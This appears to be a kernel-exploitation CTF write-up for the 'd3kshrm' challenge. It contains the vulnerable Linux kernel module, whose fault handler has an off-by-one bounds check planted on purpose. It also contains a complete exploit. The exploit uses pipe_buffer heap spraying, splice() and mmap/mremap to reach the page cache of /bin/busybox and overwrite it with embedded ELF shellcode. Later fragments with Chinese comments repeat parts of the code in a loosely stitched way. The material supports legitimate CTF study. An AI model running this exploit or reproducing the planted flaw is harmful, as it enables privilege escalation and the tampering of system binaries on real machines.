/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on D^3CTF 2025 - d3kshrm
#include <linux/fdtable.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/gfp_types.h>
#include <linux/init.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/spinlock_types.h>
#include <linux/time32.h>
#include <linux/uaccess.h>

#define MAX_PAGES   0x200
#define MAX_PAGE_NR 0x100

#define CMD_CREATE_D3KSHRM 0x3361626e
#define CMD_DELETE_D3KSHRM 0x74747261
#define CMD_SELECT_D3KSHRM 0x746e6162
#define CMD_UNBIND_D3KSHRM 0x33746172

#define MAX_SLOT_NR 0x10

struct slot {
	long pid;
	long ref_count;
};

struct chunk_t {
	struct slot slots[MAX_SLOT_NR];
	size_t page_count;
	struct page **pages;
	spinlock_t lock;
	long in_use;
	long total_ref;
};

static struct chunk_t *chunks[MAX_PAGE_NR] = { 0 };

static size_t holder = 0;
static spinlock_t d3kshrm_lock;
static struct kmem_cache *d3kshrm_cache = NULL;

struct proc_dir_entry *proc_entry;

static int d3kshrm_open(struct inode *, struct file *);
static int d3kshrm_release(struct inode *, struct file *);
static ssize_t d3kshrm_read(struct file *, char __user *, size_t, loff_t *);
static ssize_t d3kshrm_write(struct file *, const char __user *, size_t,
			     loff_t *);
static long d3kshrm_ioctl(struct file *, unsigned int, unsigned long);
static int d3kshrm_mmap(struct file *, struct vm_area_struct *);

static const struct proc_ops d3kshrm_ops = {.proc_open = d3kshrm_open,
	.proc_release = d3kshrm_release,
	.proc_read = d3kshrm_read,
	.proc_write = d3kshrm_write,
	.proc_ioctl = d3kshrm_ioctl,
	.proc_mmap = d3kshrm_mmap
};

static void d3kshrm_vm_close(struct vm_area_struct *);
static vm_fault_t d3kshrm_vm_fault(struct vm_fault *);
static const struct vm_operations_struct d3kshrm_vm_ops = {
	.close = d3kshrm_vm_close,.fault = d3kshrm_vm_fault
};

static int d3kshrm_open(struct inode *inode, struct file *file)
{
	pr_info("[d3kshrm:] d3kshrm file opened.\n");
	file->private_data = NULL;
	holder++;
	return 0;
}

static int d3kshrm_release(struct inode *inode, struct file *file)
{
	int i = 0;
	struct chunk_t *chunk = (struct chunk_t *)file->private_data;
	if (chunk) {
		struct task_struct *current_task = NULL;
		pid_t pid = 0;
		spin_lock(&(chunk->lock));
		current_task = current;
		pid = current_task->pid;
		chunk->in_use--;
		for (i = 0; i < MAX_SLOT_NR; i++) {
			if (chunk->slots[i].pid == pid) {
				chunk->slots[i].ref_count--;
				if (!chunk->slots[i].ref_count) {
					chunk->slots[i].pid = 0;
				}
			}
		}
		spin_unlock(&(chunk->lock));
		file->private_data = NULL;
	}
	holder--;
	pr_info("[d3kshrm:] d3kshrm file released.\n");
	return 0;
}

static ssize_t d3kshrm_read(struct file *file, char __user *buf, size_t count,
			    loff_t *ppos)
{
	pr_info
	    ("[d3kshrm:] This function hadn\'t been completed yet bcuz I\'m a "
	     "pigeon!\n");
	return 0;
}

static ssize_t d3kshrm_write(struct file *file, const char __user *buf,
			     size_t count, loff_t *ppos)
{
	pr_info
	    ("[d3kshrm:] This function hadn\'t been completed yet bcuz I\'m a "
	     "pigeon!\n");
	return 0;
}

static int is_file_present_in_fdtable(struct file *target_file)
{
	struct files_struct *files = current->files;
	struct fdtable *fdt;
	unsigned int fd;
	int found = 0;

	if (!files || !target_file)
		return -EINVAL;

	spin_lock(&files->file_lock);
	fdt = files_fdtable(files);
	for (fd = 0; fd < fdt->max_fds; fd++) {
		if (!test_bit(fd, fdt->open_fds))
			continue;

		if (fdt->fd[fd] == target_file) {
			found = 1;
			break;
		}
	}
	spin_unlock(&files->file_lock);
	return found;
}

static long d3kshrm_ioctl(struct file *file, unsigned int cmd,
			  unsigned long arg)
{
	long ret = 0;
	int i = 0;
	int j = 0;
	int is_failed = 0;
	int is_success = 0;
	spin_lock(&d3kshrm_lock);
	if (cmd == CMD_CREATE_D3KSHRM) {
		int idle_idx = -1;
		for (i = 0; i < MAX_PAGE_NR; i++) {
			if (!chunks[i]) {
				idle_idx = i;
				break;
			}
		}

		if (idle_idx == -1) {
			pr_info("[d3kshrm:] shrm is full.\n");
			ret = -EINVAL;
			goto out;
		}

		if (arg > MAX_PAGES) {
			pr_info("[d3kshrm:] request too many pages.\n");
			ret = -EINVAL;
			goto out;
		}
		struct chunk_t *chunk =
		    kmalloc(sizeof(struct chunk_t), GFP_KERNEL);
		if (!chunk) {
			pr_info
			    ("[d3kshrm:] Unable to allocate new d3kshrm struct.\n");
			ret = -ENOMEM;
			goto out;
		}

		struct page **pages =
		    (struct page **)kmem_cache_alloc_noprof(d3kshrm_cache,
							    GFP_KERNEL);
		if (!pages) {
			kfree(chunk);
			pr_info
			    ("[d3kshrm:] Unable to allocate new d3kshrm struct.\n");
			ret = -ENOMEM;
			goto out;
		}
		memset(pages, 0, 0x1000);
		chunk->pages = pages;
		chunk->page_count = arg;

		spin_lock_init(&(chunk->lock));
		chunk->in_use = 0;
		chunk->total_ref = 0;
		for (i = 0; i < MAX_SLOT_NR; i++) {
			chunk->slots[i].pid = 0;
			chunk->slots[i].ref_count = 0;
		}

		for (i = 0; i < chunk->page_count; i++) {
			chunk->pages[i] = alloc_pages_noprof(0xdc0, 0);
			if (!chunk->pages[i]) {
				for (j = 0; j < chunk->page_count; j++) {
					if (chunk->pages[j]) {
						__free_pages(chunk->pages[j],
							     0);
					}
				}
				is_failed = 1;
				break;
			}
		}
		if (is_failed) {
			kmem_cache_free(d3kshrm_cache, chunk->pages);
			kfree(chunk);
			pr_info
			    ("[d3kshrm:] Unable to allocate new d3kshrm struct.\n");
			ret = -ENOMEM;
			goto out;
		}
		chunks[idle_idx] = chunk;
		pr_info
		    ("[d3kshrm:] Successfully allocated new d3kshrm, id: %d.\n",
		     idle_idx);
		ret = idle_idx;
	} else if (cmd == CMD_DELETE_D3KSHRM) {
		struct chunk_t *chunk = NULL;
		size_t idx = arg;
		if (idx > MAX_PAGE_NR - 1) {
			pr_info("[d3kshrm:] request index out of bound.\n");
			ret = -EINVAL;
			goto out;
		}
		chunk = chunks[idx];
		if (!chunk) {
			pr_info("[d3kshrm:] request index not existed.\n");
			ret = -EINVAL;
			goto out;
		}
		spin_lock(&(chunk->lock));
		if (chunk->in_use) {
			pr_info
			    ("[d3kshrm:] d3kshrm to be released is still in used, aborted.\n");
			spin_unlock(&(chunk->lock));
			goto out;
		}
		chunk->total_ref = 0;
		for (i = 0; i < chunk->page_count; i++) {
			if (chunk->pages[i]) {
				__free_pages(chunk->pages[i], 0);
			}
		}
		kmem_cache_free(d3kshrm_cache, chunk->pages);
		spin_unlock(&(chunk->lock));
		kfree(chunk);
		chunks[idx] = NULL;
		pr_info("[d3kshrm:] d3kshrm[%zu] has been released.\n", idx);
		ret = idx;
	} else if (cmd == CMD_SELECT_D3KSHRM) {
		struct task_struct *current_task = current;
		struct files_struct *files;
		pid_t pid = current_task->pid;
		struct chunk_t *chunk = NULL;
		size_t idx = arg;
		is_success = 0;

		if (!current_task->files) {
			pr_info("[d3kshrm:] current_task->files is NULL!\n");
			goto out;
		}

		files = current_task->files;

		is_success = is_file_present_in_fdtable(file);

		if (!is_success) {
			pr_info
			    ("[d3kshrm:] Unable to find file descriptor for file %p. It may "
			     "not be open in the current process.\n", file);
			goto out;
		} else {
			pr_info
			    ("[d3kshrm:] File %p found in the process's file descriptor table.\n",
			     file);
		}
		if (idx > MAX_PAGE_NR - 1) {
			pr_info("[d3kshrm:] request index out of bound.\n");
			ret = -EINVAL;
			goto out;
		}
		if (!chunks[idx]) {
			pr_info("[d3kshrm:] request index not existed.\n");
			ret = -EINVAL;
			goto out;
		}
		if (file->private_data) {
			pr_info
			    ("[d3kshrm:] Current file descriptor has already been bound to a "
			     "d3kshrm struct.\n");
			goto out;
		}
		chunk = chunks[idx];
		spin_lock(&(chunk->lock));
		is_success = 0;
		for (i = 0; i < MAX_SLOT_NR; i++) {
			if (chunk->slots[i].pid == pid) {
				chunk->slots[i].ref_count++;
				is_success = 1;
				break;
			}
		}
		if (!is_success) {
			chunk->slots[0].pid = pid;
			chunk->slots[0].ref_count++;
		}
		chunk->in_use++;
		file->private_data = chunk;
		spin_unlock(&(chunk->lock));
		pr_info
		    ("[d3kshrm:] File descriptor in task %d has been bound to "
		     "d3kshrm[%zu].\n", pid, idx);
		ret = idx;
	} else if (cmd == CMD_UNBIND_D3KSHRM) {
		struct task_struct *current_task = current;
		struct files_struct *files;
		pid_t pid = current_task->pid;
		struct chunk_t *chunk = NULL;

		if (!current_task->files) {
			pr_info("[d3kshrm:] current_task->files is NULL!\n");
			goto out;
		}

		files = current_task->files;

		is_success = is_file_present_in_fdtable(file);

		if (!is_success) {
			pr_info
			    ("[d3kshrm:] Unable to find file descriptor for file %p. It may "
			     "not be open in the current process.\n", file);
			goto out;
		} else {
			pr_info
			    ("[d3kshrm:] File %p found in the process's file descriptor table.\n",
			     file);
		}
		if (!chunk) {
			pr_info
			    ("[d3kshrm:] Current file descriptor hadn\'t been bound to a "
			     "d3kshrm struct.\n");
			goto out;
		}
		spin_lock(&(chunk->lock));
		is_success = 0;
		for (i = 0; i < MAX_SLOT_NR; i++) {
			if (chunk->slots[i].pid == pid) {
				chunk->slots[i].ref_count--;
				if (!chunk->slots[i].ref_count) {
					chunk->slots[i].pid = 0;
				}
				is_success = 1;
				break;
			}
		}
		if (!is_success) {
			spin_unlock(&(chunk->lock));
			pr_info("[d3kshrm:] ilegal request.\n");
			ret = -EINVAL;
			goto out;
		}
		chunk->in_use--;
		spin_unlock(&(chunk->lock));
		file->private_data = NULL;
	}
out:
	spin_unlock(&d3kshrm_lock);
	return ret;
}

static int d3kshrm_mmap(struct file *file, struct vm_area_struct *vma)
{
	struct chunk_t *chunk = (struct chunk_t *)file->private_data;
	struct task_struct *current_task = current;
	pid_t pid = current_task->pid;
	int i = 0;
	int is_success = 0;
	spin_lock(&d3kshrm_lock);
	if (!chunk) {
		pr_info("[d3kshrm:] file descriptor not bound with d3kshrm!\n");
		goto out;
	}
	if (vma->vm_pgoff) {
		pr_info
		    ("[d3kshrm:] Non-zero start-point for mapping is not allowed!\n");
		goto out;
	}
	spin_lock(&(chunk->lock));
	if (((vma->vm_end - vma->vm_start) >> 12) > chunk->page_count) {
		pr_info
		    ("[d3kshrm:] request memory space size out of specific d3kshrm size!\n");
		spin_unlock(&(chunk->lock));
		goto out;
	}
	for (i = 0; i < MAX_SLOT_NR; i++) {
		if (chunk->slots[i].pid == pid) {
			chunk->slots[i].ref_count++;
			is_success = 1;
			break;
		}
	}
	if (is_success) {
		chunk->in_use++;
	} else {
		pr_info
		    ("[d3kshrm:]  Unable to find specific owner in d3kshrm::owner when "
		     "recording ref, kernel objects might get corrupted. Operation "
		     "canceled!\n");
	}
	spin_unlock(&(chunk->lock));
	vma->vm_ops = &d3kshrm_vm_ops;
	vma->vm_private_data = chunk;
out:
	spin_unlock(&d3kshrm_lock);
	return 0;
}

static void d3kshrm_vm_close(struct vm_area_struct *vma)
{
	struct chunk_t *chunk = (struct chunk_t *)vma->vm_private_data;
	struct task_struct *current_task = current;
	pid_t pid = current_task->pid;
	int i = 0;
	int is_success = 0;

	spin_lock(&(chunk->lock));
	for (i = 0; i < MAX_SLOT_NR; i++) {
		if (chunk->slots[i].pid == pid) {
			chunk->slots[i].ref_count--;
			if (!(chunk->slots[i].ref_count)) {
				chunk->slots[i].pid = 0;
			}
			is_success = 1;
			break;
		}
	}
	if (is_success) {
		chunk->in_use--;
	} else {
		pr_info
		    ("[d3kshrm:]  Unable to find specific owner in d3kshrm::owner when "
		     "recording ref, kernel objects might get corrupted. Operation "
		     "canceled!\n");
	}
	spin_unlock(&(chunk->lock));
}

static vm_fault_t d3kshrm_vm_fault(struct vm_fault *vmf)
{
	struct vm_area_struct *vma = vmf->vma;
	struct chunk_t *chunk = (struct chunk_t *)vma->vm_private_data;
	vm_fault_t res = 0;
	spin_lock(&(chunk->lock));

	/* vulnerability here */
	// if (vmf->pgoff >= d3kshrm->page_count) {
	if (vmf->pgoff > chunk->page_count) {
		res = VM_FAULT_SIGBUS;
		goto out;
	}

	get_page(chunk->pages[vmf->pgoff]);
	vmf->page = chunk->pages[vmf->pgoff];
out:
	spin_unlock(&chunk->lock);
	return res;
}

static int d3kshrm_init(void)
{
	struct kmem_cache_args args = { 0 };
	proc_entry = proc_create("d3kshrm", 0x1b6, NULL, &d3kshrm_ops);
	if (proc_entry == NULL) {
		return -ENOMEM;
	}
	d3kshrm_cache =
	    __kmem_cache_create_args("d3kshrm_cache", 0x1000, &args,
				     SLAB_NO_MERGE);
	if (!d3kshrm_cache) {
		pr_info("[d3kshrm:] d3kshrm_cache slab cache create failed.\n");
		return -ENOMEM;
	}
	spin_lock_init(&d3kshrm_lock);
	holder = 0;
	return 0;
}

static void d3kshrm_exit(void)
{
	int i = 0;
	int j = 0;
	spin_lock(&d3kshrm_lock);
	if (holder > 0) {
		pr_info
		    ("[d3kshrm:] Unable to unload D3KSHRM module, some shared memory is "
		     "still in used.\n");
		goto out;
	}
	for (i = 0; i < MAX_PAGE_NR; i++) {
		if (chunks[i]) {
			spin_lock(&(chunks[i]->lock));
			if (chunks[i]->in_use) {
				pr_info
				    ("[d3kshrm:] Unable to unload D3KSHRM module, some shared memory is "
				     "still in used.\n");
				spin_unlock(&(chunks[i]->lock));
				goto out;
			}
			if (chunks[i]->page_count) {
				for (j = 0; j < chunks[i]->page_count; j++) {
					__free_pages(chunks[i]->pages[j], 0);
				}
			}
			kmem_cache_free(d3kshrm_cache, chunks[i]->pages);
			spin_unlock(&(chunks[i]->lock));
			kfree(chunks[i]);
			chunks[i] = 0;
		}
	}
	kmem_cache_destroy(d3kshrm_cache);
	remove_proc_entry("d3kshrm", NULL);
out:
	spin_unlock(&d3kshrm_lock);
}

module_init(d3kshrm_init);
module_exit(d3kshrm_exit);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

/********************************/
/**      d3kshrm模块全局状态     **/
/********************************/
#define MAX_PAGE_NR 0x100
static struct chunk_t *chunks[MAX_PAGE_NR] = { 0 }; // 静态全局数组
static size_t holder = 0;                           // 当前holder计数
static spinlock_t d3kshrm_lock;                     // 全局自旋锁
static struct kmem_cache *d3kshrm_cache = NULL;     // 专用slab缓存
struct proc_dir_entry *proc_entry;                  // proc文件入口

/* offset      |    size */  type = struct chunk_t {
/* 0x0000      |  0x0100 */    struct slot slots[16];
/* 0x0100      |  0x0008 */    size_t page_count;
/* 0x0108      |  0x0008 */    struct page **pages;
/* 0x0110      |  0x0004 */    spinlock_t lock;
/* XXX  4-byte hole      */
/* 0x0118      |  0x0008 */    long in_use;
/* 0x0120      |  0x0008 */    long total_ref;

                               /* total size (bytes):  296 */
                             }
/* offset      |    size */  type = struct slot {
/* 0x0000      |  0x0008 */    long pid;
/* 0x0008      |  0x0008 */    long ref_count;

                               /* total size (bytes):   16 */
                             }

/* offset      |    size */  type = struct pipe_buffer {
/* 0x0000      |  0x0008 */    struct page *page;
/* 0x0008      |  0x0004 */    unsigned int offset;
/* 0x000c      |  0x0004 */    unsigned int len;
/* 0x0010      |  0x0008 */    const struct pipe_buf_operations *ops;
/* 0x0018      |  0x0004 */    unsigned int flags;
/* XXX  4-byte hole      */
/* 0x0020      |  0x0008 */    unsigned long private;

                               /* total size (bytes):   40 */
                             }

// 计算越界访问地址
// 映射基地址: mapping
// 页面大小: 0x1000 (4096)
// 越界偏移: 512个页面
uint64_t *overflow_addr = (uint64_t *)(mapping + 512 * 0x1000);

// 访问该地址，触发缺页异常
uint64_t first_8bytes = *overflow_addr;

// 检查是否为ELF文件魔数
#define ELF_MAGIC 0x464C457F  // "\x7FELF"
if (first_8bytes == ELF_MAGIC) {
    // 成功访问到目标文件
    printf("Successfully accessed target file via overflow\n");
}

#define CHUNK_COUNT 0x20
#define MAX_PIPE_COUNT 0xf0

#define DEVICE_PATH "/proc/d3kshrm"
#define VICTIM_FILE "/bin/busybox"

#define CMD_CREATE_CHUNK 0x3361626e
#define CMD_DELETE_CHUNK 0x74747261
#define CMD_BIND_CHUNK 0x746e6162
#define CMD_UNBIND_CHUNK 0x33746172

#define VULN_CHUNK_SIZE 0x200
#define PIPE_BUF_SIZE (0x1000 * 64)
#define MMAP_SIZE (0x1000 * 0x200)
#define MREMAP_SIZE (0x1000 * 0x201)
#define ELF_MAGIC 0x3010102464c457f

int pipe_fds[MAX_PIPE_COUNT][2];
int chunk_ids[CHUNK_COUNT];
int dev_fd[CHUNK_COUNT];
void *victim_map[CHUNK_COUNT];
int victim_fd;

// clang-format off
unsigned char elf_code[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00,
    0x04, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x02, 0x00, 0x00,
    0x00, 0x48, 0x8d, 0x3d, 0x40, 0x00, 0x00, 0x00, 0x48, 0x31, 0xf6, 0x48,
    0x31, 0xd2, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xc0, 0x48, 0x81,
    0xec, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0xe6, 0xba, 0x00, 0x01, 0x00,
    0x00, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00,
    0x00, 0x48, 0x89, 0xe6, 0xba, 0x00, 0x01, 0x00, 0x00, 0x0f, 0x05, 0x48,
    0x31, 0xff, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00, 0x00, 0x00,
    0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00,
    0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74,
    0x65, 0x78, 0x74, 0x00, 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xcc, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xd7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
};
// clang-format on

void create_pipe(int pipe_idx) {
  if (pipe(pipe_fds[pipe_idx]) < 0) {
    log.error("Pipe creation failed at index %d", pipe_idx);
    exit(EXIT_FAILURE);
  }
}

void resize_pipe_buffer(int pipe_idx, int new_size) {
  if (fcntl(pipe_fds[pipe_idx][0], F_SETPIPE_SZ, new_size) < 0) {
    log.error("Pipe resize failed for pipe %d", pipe_idx);
    exit(EXIT_FAILURE);
  }
}

int create_chunk(int dev_fd, size_t num) {
  return ioctl(dev_fd, CMD_CREATE_CHUNK, num);
}

void delete_chunk(int dev_fd, size_t index) {
  ioctl(dev_fd, CMD_DELETE_CHUNK, index);
}

void bind_chunk(int dev_fd, size_t id) { ioctl(dev_fd, CMD_BIND_CHUNK, id); }

void unbind_chunk(int dev_fd, size_t index) {
  ioctl(dev_fd, CMD_UNBIND_CHUNK, index);
}

int main() {
  loff_t offset = 1;

  /**********************************************************
   * Stage 1: Environment Setup
   **********************************************************/
  log.info("Initializing exploit environment");
  bind_core(0);
  save_status();

  /**********************************************************
   * Stage 2: Opening Device and Victim File
   **********************************************************/
  log.info("Opening " DEVICE_PATH " device file");
  for (int i = 0; i < CHUNK_COUNT; i++) {
    dev_fd[i] = open(DEVICE_PATH, O_RDWR);
    if (dev_fd[i] < 0) {
      log.error("Failed to open device file");
      exit(EXIT_FAILURE);
    }
  }

  log.info("Opening victim file: " VICTIM_FILE);
  victim_fd = open(VICTIM_FILE, O_RDONLY);
  if (victim_fd < 0) {
    log.error("Failed to open victim file");
    exit(EXIT_FAILURE);
  }

  /**********************************************************
   * Stage 3: Heap Feng Shui Preparation
   **********************************************************/
  log.info("Creating %d pipes for heap shaping", MAX_PIPE_COUNT);
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    create_pipe(i);
  }

  /**********************************************************
   * Stage 4: Order-3 Page Spray
   **********************************************************/
  log.info("Spraying %d order-3 pages via chunk allocation", CHUNK_COUNT);
  for (int i = 0; i < CHUNK_COUNT; i++) {
    chunk_ids[i] = create_chunk(dev_fd[0], 0);
  }

  /**********************************************************
   * Stage 5: Free Odd-indexed Order-3 Pages
   **********************************************************/
  log.info("Freeing odd-indexed order-3 pages");
  for (int i = 1; i < CHUNK_COUNT; i += 2) {
    delete_chunk(dev_fd[0], chunk_ids[i]);
  }

  /**********************************************************
   * Stage 6: kmalloc-4k Spray (pipe_buffer)
   **********************************************************/
  log.info("Spraying kmalloc-4k pipe buffers into freed odd slots");
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    resize_pipe_buffer(i, PIPE_BUF_SIZE);
  }

  /**********************************************************
   * Stage 7: Free Even-indexed Order-3 Pages
   **********************************************************/
  log.info("Freeing even-indexed order-3 pages");
  for (int i = 0; i < CHUNK_COUNT; i += 2) {
    delete_chunk(dev_fd[0], chunk_ids[i]);
  }

  /**********************************************************
   * Stage 8: Allocate Vuln Chunks in Freed Even Slots
   **********************************************************/
  log.info("Allocating vuln chunks in freed even slots");
  for (int i = 0; i < CHUNK_COUNT; i++) {
    chunk_ids[i] = create_chunk(dev_fd[i], VULN_CHUNK_SIZE);
  }

  /**********************************************************
   * Stage 9: Page Replacement via splice()
   **********************************************************/
  log.info("Replacing pipe_buffer->page with victim file mapping via splice()");
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    if (splice(victim_fd, &offset, pipe_fds[i][1], NULL, 1, 0) < 0) {
      log.error("splice() failed on pipe %d", i);
      exit(EXIT_FAILURE);
    }
  }

  /**********************************************************
   * Stage 10: Trigger d3kshrm_mmap via mmap()/mremap()
   **********************************************************/
  log.info("Triggering d3kshrm_mmap and extending mapping");
  for (int i = 0; i < CHUNK_COUNT; i++) {
    bind_chunk(dev_fd[i], chunk_ids[i]);
    victim_map[i] =
        mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dev_fd[i], 0);
    if (victim_map[i] == MAP_FAILED) {
      log.error("mmap() failed on chunk %d", i);
      exit(EXIT_FAILURE);
    }

    victim_map[i] =
        mremap(victim_map[i], MMAP_SIZE, MREMAP_SIZE, MREMAP_MAYMOVE);
    if (victim_map[i] == MAP_FAILED) {
      log.error("mremap() failed to extend mapping for chunk %d", i);
      exit(EXIT_FAILURE);
    }
  }

  /**********************************************************
   * Stage 11: Trigger Fault and Overwrite Victim File
   **********************************************************/
  log.info("Triggering page faults to detect ELF header");
  for (int i = 0; i < CHUNK_COUNT; i++) {
    log.debug("Testing chunk %d", i);
    if (((size_t *)(victim_map[i] + 0x1000 * 0x200))[0] == ELF_MAGIC) {
      hex_dump("Victim file data", (void *)(victim_map[i] + 0x1000 * 0x200),
               0x60);
      log.success("ELF header detected at chunk %d", i);
      log.success("Writing shellcode to victim file");
      memcpy((void *)(victim_map[i] + 0x1000 * 0x200), elf_code,
             sizeof(elf_code));
      hex_dump("Evil file data", (void *)(victim_map[i] + 0x1000 * 0x200),
               0x60);
      log.success("Exploit successful!");
      log.success("Type 'exit' to trigger shellcode execution");
      break;
    }
  }

  /**********************************************************
   * Stage 12: Cleanup
   **********************************************************/
  log.info("Cleaning up file descriptors");
  for (int i = 0; i < CHUNK_COUNT; i++) {
    close(dev_fd[i]);
  }
  close(victim_fd);
  return 0;
}

#define CHUNK_COUNT 0x20           // 32个chunk实例
#define MAX_PIPE_COUNT 0xf0        // 240个管道对

#define DEVICE_PATH "/proc/d3kshrm"
#define VICTIM_FILE "/bin/busybox"

// ioctl命令码
#define CMD_CREATE_CHUNK 0x3361626e
#define CMD_DELETE_CHUNK 0x74747261
#define CMD_BIND_CHUNK 0x746e6162
#define CMD_UNBIND_CHUNK 0x33746172

// 内存参数
#define VULN_CHUNK_SIZE 0x200       // 512个页面
#define PIPE_BUF_SIZE (0x1000 * 64) // 256KB
#define MMAP_SIZE (0x1000 * 0x200)  // 2MB
#define MREMAP_SIZE (0x1000 * 0x201) // 2MB+4KB
#define ELF_MAGIC 0x3010102464c457f // ELF魔数

int pipe_fds[MAX_PIPE_COUNT][2];   // 管道文件描述符
int chunk_ids[CHUNK_COUNT];        // chunk索引
int dev_fd[CHUNK_COUNT];           // 设备文件描述符
void *victim_map[CHUNK_COUNT];     // 内存映射地址
int victim_fd;                     // 目标文件描述符

log.info("Opening " DEVICE_PATH " device file");
for (int i = 0; i < CHUNK_COUNT; i++) {
    dev_fd[i] = open(DEVICE_PATH, O_RDWR);
    if (dev_fd[i] < 0) {
        log.error("Failed to open device file");
        exit(EXIT_FAILURE);
    }
}

log.info("Opening victim file: " VICTIM_FILE);
victim_fd = open(VICTIM_FILE, O_RDONLY);
if (victim_fd < 0) {
    log.error("Failed to open victim file");
    exit(EXIT_FAILURE);
}

log.info("Creating %d pipes for heap shaping", MAX_PIPE_COUNT);
for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    create_pipe(i);
}

void create_pipe(int pipe_idx) {
  if (pipe(pipe_fds[pipe_idx]) < 0) {
    log.error("Pipe creation failed at index %d", pipe_idx);
    exit(EXIT_FAILURE);
  }
}

struct pipe_buffer {
    struct page *page;           // 指向物理页面
    unsigned int offset;         // 页面内偏移
    unsigned int len;            // 有效数据长度
    const struct pipe_buf_operations *ops;  // 操作函数表
    unsigned int flags;          // 状态标志
    unsigned long private;       // 私有数据
    // 总大小: 40字节
};

log.info("Spraying %d order-3 pages via chunk allocation", CHUNK_COUNT);
for (int i = 0; i < CHUNK_COUNT; i++) {
    chunk_ids[i] = create_chunk(dev_fd[0], 0);
}

int create_chunk(int dev_fd, size_t num) {
  return ioctl(dev_fd, CMD_CREATE_CHUNK, num);
}

log.info("Freeing odd-indexed order-3 pages");
for (int i = 1; i < CHUNK_COUNT; i += 2) {
    delete_chunk(dev_fd[0], chunk_ids[i]);
}

